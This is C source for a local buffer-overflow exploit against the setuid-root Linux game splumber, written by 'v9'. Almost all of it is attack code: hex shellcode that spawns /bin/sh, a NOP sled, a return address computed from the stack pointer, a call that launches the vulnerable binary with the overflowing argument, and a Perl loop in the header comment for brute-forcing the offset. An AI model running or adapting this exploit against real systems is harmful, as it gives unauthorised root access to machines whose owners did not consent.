/*
   (linux)splumber[version2] buffer overflow, by v9[v9@fakehalo.org].  this is
   a misc. exploit for the linux-SVGAlib space plumber game.  which, as you
   know needs to be installed setuid root.  this overflow is due to a simple
   oversight in the command line parser.  uses strcpy() to copy to an unchecked
   250 byte buffer.

   note: i also noticed, other than just being setuid root in the makefile, it
         sets splumber's permissions to 4777. *g*

   ...and here is the perl script for the lazy person:

   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "using offset: $i.\n";
    system("./xsplumber $i");
    $i+=50;
   }
*/

#define PATH "/usr/games/splumber"	// change to the correct path.
#define BUFFER_SIZE 257			// don't change.
#define DEFAULT_OFFSET -300		// worked for me.

static char exec[]=
  "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
  "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
  "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // still like it.

long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
  char bof[BUFFER_SIZE];
  int i,offset;
  long ret;
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=DEFAULT_OFFSET;}
  ret=(esp()-offset);
  printf("*** (linux)splumber[version2] local buffer overflow, by v9[v9@fakehalo.org].\n");
  printf("*** return address: 0x%lx, offset: %d.\n",ret,offset);
  for(i=0;i<(252-strlen(exec));i++){*(bof+i)=0x90;}
  memcpy(bof+i,exec,strlen(exec));
  *(long *)&bof[i+strlen(exec)]=ret; // perfect, not lazy for once.
  bof[BUFFER_SIZE-1]=0;
  if(execlp(PATH,"splumber",bof,0)){
    printf("error: program did not execute properly, check the path.\n");
    exit(0);
  }
